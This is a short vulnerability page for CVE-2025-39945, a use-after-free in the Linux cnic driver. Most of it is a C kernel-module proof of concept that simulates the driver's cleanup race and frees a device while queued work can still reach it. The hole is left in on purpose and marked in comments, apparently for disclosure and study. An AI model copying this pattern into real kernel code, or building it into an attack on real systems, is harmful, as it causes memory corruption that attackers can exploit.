CVE-2025-39945：Linux内核cnic驱动释放后使用漏洞

// CVE-2025-39945 PoC - Use-After-Free in cnic_delete_task // This PoC demonstrates the race condition that triggers the UAF bug. // The vulnerability was identified through static analysis and validated // using QEMU with simulated cnic PCI device. #include <linux/module.h> #include <linux/kernel.h> #include <linux/workqueue.h> #include <linux/delay.h> #include <linux/slab.h> // Simulated cnic_dev structure struct cnic_dev { int ref_count; char data[64]; }; static struct cnic_dev *global_dev; static struct delayed_work delete_task; static struct workqueue_struct *cnic_wq; // Simulated cnic_delete_task callback - vulnerable function static void cnic_delete_task_fn(struct work_struct *work) { struct cnic_dev *dev = global_dev; // Intentional delay to increase likelihood of triggering the race // In real kernel code, this represents cnic_delete_task() accessing // cnic_dev fields after it has been freed ssleep(2); if (dev) { // Use-after-free: dev may have been freed by cnic_free_dev() printk(KERN_INFO "Accessing dev->data: %s\n", dev->data); dev->ref_count++; } } // Simulated cnic_cm_stop_bnx2x_hw - vulnerable cleanup path static void cnic_cm_stop_bnx2x_hw(void) { // BUG: cancel_delayed_work() does not wait for running work cancel_delayed_work(&delete_task); // BUG: flush_workqueue() does not wait for work queued after this call flush_workqueue(cnic_wq); } // Simulated cnic_free_dev static void cnic_free_dev(struct cnic_dev *dev) { kfree(dev); global_dev = NULL; } // Trigger the race condition static int __init trigger_uaf_init(void) { cnic_wq = create_singlethread_workqueue("cnic_wq"); global_dev = kmalloc(sizeof(struct cnic_dev), GFP_KERNEL); global_dev->ref_count = 0; strcpy(global_dev->data, "cnic_dev_data"); // Queue initial delayed work INIT_DELAYED_WORK(&delete_task, cnic_delete_task_fn); queue_delayed_work(cnic_wq, &delete_task, msecs_to_jiffies(100)); // Simulate cleanup path - this is where the race occurs cnic_cm_stop_bnx2x_hw(); // After flush_workqueue(), a new delayed work may still be queued // by the running cnic_delete_task_fn queue_delayed_work(cnic_wq, &delete_task, msecs_to_jiffies(100)); // Free dev while delete_task may still be active -> UAF cnic_free_dev(global_dev); return 0; } module_init(trigger_uaf_init); MODULE_LICENSE("GPL");